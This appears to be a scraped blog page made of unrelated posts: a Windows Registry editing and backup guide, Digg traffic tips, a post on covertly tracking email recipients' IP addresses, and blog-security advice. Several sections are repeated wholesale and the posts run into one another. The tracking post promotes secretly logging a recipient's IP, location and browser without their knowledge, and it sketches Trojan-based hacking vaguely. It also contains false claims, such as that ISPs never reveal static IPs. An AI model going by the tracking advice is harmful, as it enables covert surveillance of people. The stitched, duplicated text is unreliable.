An alternative Registry Editor (REGEDT32.EXE) is available for use with Windows NT/2000, it includes some additional features not found in the standard version, including; the ability to view and modify security permissions, and being able to create and modify the extended string values REG_EXPAND_SZ & REG_MULTI_SZ.
Create a Shortcut to RegeditThis can be done by simply right-clicking on a blank area of your desktop, selecting New, then Shortcut, then in the Command line box enter “regedit.exe” and click Next, enter a friendly name (e.g. ‘Registry Editor’) then click Finish and now you can double click on the new icon to launch the Registry Editor.
Using Regedit to modify your RegistryOnce you have started the Regedit you will notice that on the left side there is a tree with folders, and on the right the contents (values) of the currently selected folder.
Like Windows explorer, to expand a certain branch (see the structure of the registry section), click on the plus sign [+] to the left of any folder, or just double-click on the folder. To display the contents of a key (folder), just click the desired key, and look at the values listed on the right side. You can add a new key or value by selecting New from the Edit menu, or by right-clicking your mouse. And you can rename any value and almost any key with the same method used to rename files; right-click on an object and click rename, or click on it twice (slowly), or just press F2 on the keyboard. Lastly, you can delete a key or value by clicking on it, and pressing Delete on the keyboard, or by right-clicking on it, and choosing Delete.
Note: it is always a good idea to backup your registry before making any changes to it. It can be intimidating to a new user, and there is always the possibility of changing or deleting a critical setting causing you to have to reinstall the whole operating system. It’s much better to be safe than sorry!
Importing and Exporting Registry Settings
A great feature of the Registry Editor is it’s ability to import and export registry settings to a text file, this text file, identified by the .REG extension, can then be saved or shared with other people to easily modify local registry settings. You can see the layout of these text files by simply exporting a key to a file and opening it in Notepad, to do this using the Registry Editor select a key, then from the “Registry” menu choose “Export Registry File…”, choose a filename and save. If you open this file in notepad you will see a file similar to the example below:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]”SetupType”=dword:00000000″CmdLine”=”setup -newsetup”"SystemPrefix”=hex:c5,0b,00,00,00,40,36,02
The layout is quite simple, REGEDIT4 indicated the file type and version, [HKEY_LOCAL_MACHINE\SYSTEM\Setup] indicated the key the values are from, “SetupType”=dword:00000000 are the values themselves the portion after the “=” will vary depending on the type of value they are; DWORD, String or Binary.
So by simply editing this file to make the changes you want, it can then be easily distributed and all that need to be done is to double-click, or choose “Import” from the Registry menu, for the settings to be added to the system Registry.
Deleting keys or values using a REG file It is also possible to delete keys and values using REG files. To delete a key start by using the same format as the REG file above, but place a “-” symbol in front of the key name you want to delete. For example to delete the [HKEY_LOCAL_MACHINE\SYSTEM\Setup] key the reg file would look like this:
Quote:
REGEDIT4
[-HKEY_LOCAL_MACHINE\SYSTEM\Setup]
The format used to delete individual values is similar, but instead of a minus sign in front of the whole key, place it after the equal sign of the value. For example, to delete the value “SetupType” the file would look like:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]”SetupType”=-
Use this feature with care, as deleting the wrong key or value could cause major problems within the registry, so remember to always make a backup first.
Regedit Command Line OptionsRegedit has a number of command line options to help automate it’s use in either batch files or from the command prompt. Listed below are some of the options, please note the some of the functions are operating system specific.
* regedit.exe [options] [filename] [regpath]* [filename] Import .reg file into the registry* /s [filename] Silent import, i.e. hide confirmation box when importing files* /e [filename] [regpath] Export the registry to [filename] starting at [regpath]e.g. regedit /e file.reg HKEY_USERS\.DEFAULT* /L:system Specify the location of the system.dat to use* /R:user Specify the location of the user.dat to use* /C [filename] Compress (Windows 98)* /D [regpath] Delete the specified key (Windows 98)
Maintaining the Registry
How can you backup and restore the Registry?
Windows 95Microsoft included a utility on the Windows 95 CD-ROM that lets you create backups of the Registry on your computer. The Microsoft Configuration Backup program, CFGBACK.EXE, can be found in the \Other\Misc\Cfgback directory on the Windows 95 CD-ROM. This utility lets you create up to nine different backup copies of the Registry, which it stores, with the extension RBK, in your \Windows directory. If your system is set up for multiple users, CFGBACK.EXE won’t back up the USER.DAT file.
After you have backed up your Registry, you can copy the RBK file onto a floppy disk for safekeeping. However, to restore from a backup, the RBK file must reside in the \Windows directory. Windows 95 stores the backups in compressed form, which you can then restore only by using the CFGBACK.EXE utility.
Windows 98Microsoft Windows 98 automatically creates a backup copy of the registry every time Windows starts, in addition to this you can manually create a backup using the Registry Checker utility by running SCANREGW.EXE from Start Run menu.
What to do if you get a Corrupted Registry Windows 95, 98 and NT all have a simple registry backup mechanism that is quite reliable, although you should never simply rely on it, remember to always make a backup first!
Windows 95In the Windows directory there are several hidden files, four of these will be SYSTEM.DAT & USER.DAT, your current registry, and SYSTEM.DA0 & USER.DA0, a backup of your registry. Windows 9x has a nice feature in that every time it appears to start successfully it will copy the registry over these backup files, so just in case something goes wrong can restore it to a known good state. To restore the registry follow these instruction:[list=1]* Click the Start button, and then click Shut Down.
* Click Restart The Computer In MS-DOS Mode, then click Yes.
* Change to your Windows directory. For example, if your Windows directory is c:\windows, you would type the following:
cd c:\windows
* Type the following commands, pressing ENTER after each one. (Note that SYSTEM.DA0 and USER.DA0 contain the number zero.)
attrib -h -r -s system.datattrib -h -r -s system.da0copy system.da0 system.datattrib -h -r -s user.datattrib -h -r -s user.da0copy user.da0 user.dat
* Restart your computer.Following this procedure will restore your registry to its state when you last successfully started your computer.
If all else fails, there is a file on your hard disk named SYSTEM.1ST that was created when Windows 95 was first successfully installed. If necessary you could also change the file attributes of this file from read-only and hidden to archive to copy the file to C:\WINDOWS\SYSTEM.DAT.
Windows NT On Windows NT you can use either the “Last Known Good” option or RDISK to restore to registry to a stable working configuration.
How can I clean out old data from the Registry? Although it’s possible to manually go through the Registry and delete unwanted entries, Microsoft provides a tool to automate the process, the program is called RegClean. RegClean analyzes Windows Registry keys stored in a common location in the Windows Registry. It finds keys that contain erroneous values, it removes them from the Windows Registry after having recording those entries in the Undo.Reg file.
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Easiest way to get traffic to your web site | Digg and StumbleUpon
For your information ,Stumbleupon and DIGG are social bookmarking websites which are useful to catch upon some new websites and other things in whichever category you want.They can be, if properly used, a very potent weapon for getting a good amount of traffic for your website.Having said that,I would like to add that if your content is not at par, the traffic from these sites is unstable and they will usually run away as soon as they come.If you want to check your stats, Google Analytics is the way.Check the bounce rate there.Anyways,coming back to the point , if you want some good and heavy traffic then you can use the services of these kind of social bookmarking sites. For an example, If your website gets to the front page of digg for 10 minutes, you are likely to get 10,000 page views . But well, there is a problem.There would be many sites on the front page(if not all) ..So what would make your web page or story stand out?Why will people see your webpage? Why will they even bother to click on that ? The fact is that they wont do that themselves.You will compel them to do that.Follow these tips which I think should help you
1) Make sure you write a good title , a good description to make, in fact compel, people to come and see your webpage.
2) When visitors come,dont disappoint them.Have some good content and information so that they consider your site worth visiting. Never break your words.
3) If powerful DIGG users like Kevin Rose DIGG you , then you are very likely to get many many more diggs in the next few seconds. Try that way
4) If you have some CMS like a blog or something, there are some mods available for DIGG , Stumble, Technorati and similar kind of buttons.They are very likely to help you.Get them!
5) There is one thing that is often overlooked and that is the time of submission.You should submit your story or webpage at that time when most of your friends are online so that they can DIGG or stumble for you.It is useless to submit when you know that it is going to be buried sooner than later.
At last, I would again repeat, these are “unstable” means of getting traffic.If you want some serious traffic, go for Search Engine Marketing and other practices
1) Make sure you write a good title , a good description to make, in fact compel, people to come and see your webpage.
2) When visitors come,dont disappoint them.Have some good content and information so that they consider your site worth visiting. Never break your words.
3) If powerful DIGG users like Kevin Rose DIGG you , then you are very likely to get many many more diggs in the next few seconds. Try that way
4) If you have some CMS like a blog or something, there are some mods available for DIGG , Stumble, Technorati and similar kind of buttons.They are very likely to help you.Get them!
5) There is one thing that is often overlooked and that is the time of submission.You should submit your story or webpage at that time when most of your friends are online so that they can DIGG or stumble for you.It is useless to submit when you know that it is going to be buried sooner than later.
At last, I would again repeat, these are “unstable” means of getting traffic.If you want some serious traffic, go for Search Engine Marketing and other practices
Track IP-Address just by sending an e-mail
IP address:
In this world everyone has some address having all details about your location in real life.
In the same way, Every internet user have his address in the world of internet. It is named as Internet Protocol address. Shortly named as IP address
When you send/receive emails they are transferred from IP address to IP address
Any data transfer is subjected to IP addresses of sender and receiver.
So this is a simple concept of IP address.
Types of IP address:
1. Static IP address: This IP address is fixed always for a single internet connection. Internet service Providers (ISP) never reveals your static IP address to you.
2. Dynamic IP address: Every time you get connected to internet your Dynamic IP changes.
How to get IP address Just by sending an email:
First of all you need a mail tracking system for tracing the IP of a person sending you an email
www.mailtracking .com has ready set up of IP tracing.
This gives you a free account.
You can connect it with your current email account
When you send email to someone named abc@gmail.com, you simply have to add mailtracking.com to it.
As shown here: abc@gmail.com.mailtracking.com
Now when Your message is opened by the receiver, you‘ll get email to you .
It describes following things to you
1.IP address of receiver,
2.His approximate geographical location,
3.Time of opening the email
4.His browser details
5.His screen resolution
And many more details as this.
Now every time he opens your massage you’ll be notified
So finally by using this site you can simply get IP address of any person whose email address is known.
And good thing is the receiver can’t even notice that we are tracing him.
How hackers hack using IP address:
Hackers use server- client services like MIRC channel you can connect with known IP address.
But this need authentication from the receiver.
So hackers use tools as Trojan.
They enter the destination IP address in Trojan and it tries to connect to you.
And if he get success in connecting he can destroy your PC completely or he plays games with you its all his own choice.
His is how hacking through IP address takes place.
If you have any specific question, or you want more details comment your questions here.
I ‘ll be delighted to answer them.
In this world everyone has some address having all details about your location in real life.
In the same way, Every internet user have his address in the world of internet. It is named as Internet Protocol address. Shortly named as IP address
When you send/receive emails they are transferred from IP address to IP address
Any data transfer is subjected to IP addresses of sender and receiver.
So this is a simple concept of IP address.
Types of IP address:
1. Static IP address: This IP address is fixed always for a single internet connection. Internet service Providers (ISP) never reveals your static IP address to you.
2. Dynamic IP address: Every time you get connected to internet your Dynamic IP changes.
How to get IP address Just by sending an email:
First of all you need a mail tracking system for tracing the IP of a person sending you an email
www.mailtracking .com has ready set up of IP tracing.
This gives you a free account.
You can connect it with your current email account
When you send email to someone named abc@gmail.com, you simply have to add mailtracking.com to it.
As shown here: abc@gmail.com.mailtracking.com
Now when Your message is opened by the receiver, you‘ll get email to you .
It describes following things to you
1.IP address of receiver,
2.His approximate geographical location,
3.Time of opening the email
4.His browser details
5.His screen resolution
And many more details as this.
Now every time he opens your massage you’ll be notified
So finally by using this site you can simply get IP address of any person whose email address is known.
And good thing is the receiver can’t even notice that we are tracing him.
How hackers hack using IP address:
Hackers use server- client services like MIRC channel you can connect with known IP address.
But this need authentication from the receiver.
So hackers use tools as Trojan.
They enter the destination IP address in Trojan and it tries to connect to you.
And if he get success in connecting he can destroy your PC completely or he plays games with you its all his own choice.
His is how hacking through IP address takes place.
If you have any specific question, or you want more details comment your questions here.
I ‘ll be delighted to answer them.
Secure your blog from hackers
All the bloggers work very hard on their blogging skills, making their blog more interesting, profitable and good looking. But do you think concentrating on these aspects are enough? Well I don’t think so. I am an ethical hacker and found thousands of blogs hacked in last year and bloggers lose everything they had. Their hard work and their dreams, everything goes vanished.
You can prevent all these things just by keeping some little facts in mind and use the following simple tips for your blog
1. Back up: -
The smartest blogger is the one, who keeps back up of his blog template, all post and all other secondary things. You need to back up your data every time you update your blog. Bloggers sites and sites provide you this facility. You have to use it intelligently. When you create back up, take it on CD’s, DVD’s or any hard drive. Don’t just keep on your hard drive store it and make copies of it if you are serious in your blogging.
Backing up your data gives you assurance if someone hack your blog and destroys your design you can restore all by using these backups you made. It costs almost nothing but they are very valuable if you are attacked by hackers.
2. Choosing host for your blog is very important: -
Your blog host should be choose very intelligently who should be always there whenever you blog have any problem. If your blog is hacked means server of your host is hacked so you have to make it sure that your host should be good enough to make you secure. Having a quality host who offers you personal and comprehensive help in those times when things go wrong is very important.
3. Update your blog Software:
You have to update your blog software’s every time possible minimum you have to update software in a month.
Software companies make their software more and more secure from all possible threats. So if you update the software regularly you can be safer definitely.
It’s a simple thing but everyone ignores this fact and you can lose your blog. So keep updating software.
4. Keep your blog active:
There are millions of blogs out there and many 30 % of them are dead. What I mean by dead is they are not active. They are not updated.
What I have observed in hacked blogs is many of them are dead blogs. So if you do not keep your blog updated it can be hacked easily.
Still if you don’t wanted to keep your blog active you just keep your blog software updated.
5. Passwords - Damn important thing
Make strongest possible passwords you can. You can get many password security tips on security sites. Follow them all.
And if you think you are secure enough don’t ever expose your password to anyone.
Don’t use obvious passwords. Like names and dictionary words.
Use combination of numbers, letters and special symbols.
Use password length at least of 8 numbers
You can prevent all these things just by keeping some little facts in mind and use the following simple tips for your blog
1. Back up: -
The smartest blogger is the one, who keeps back up of his blog template, all post and all other secondary things. You need to back up your data every time you update your blog. Bloggers sites and sites provide you this facility. You have to use it intelligently. When you create back up, take it on CD’s, DVD’s or any hard drive. Don’t just keep on your hard drive store it and make copies of it if you are serious in your blogging.
Backing up your data gives you assurance if someone hack your blog and destroys your design you can restore all by using these backups you made. It costs almost nothing but they are very valuable if you are attacked by hackers.
2. Choosing host for your blog is very important: -
Your blog host should be choose very intelligently who should be always there whenever you blog have any problem. If your blog is hacked means server of your host is hacked so you have to make it sure that your host should be good enough to make you secure. Having a quality host who offers you personal and comprehensive help in those times when things go wrong is very important.
3. Update your blog Software:
You have to update your blog software’s every time possible minimum you have to update software in a month.
Software companies make their software more and more secure from all possible threats. So if you update the software regularly you can be safer definitely.
It’s a simple thing but everyone ignores this fact and you can lose your blog. So keep updating software.
4. Keep your blog active:
There are millions of blogs out there and many 30 % of them are dead. What I mean by dead is they are not active. They are not updated.
What I have observed in hacked blogs is many of them are dead blogs. So if you do not keep your blog updated it can be hacked easily.
Still if you don’t wanted to keep your blog active you just keep your blog software updated.
5. Passwords - Damn important thing
Make strongest possible passwords you can. You can get many password security tips on security sites. Follow them all.
And if you think you are secure enough don’t ever expose your password to anyone.
Don’t use obvious passwords. Like names and dictionary words.
Use combination of numbers, letters and special symbols.
Use password length at least of 8 numbers
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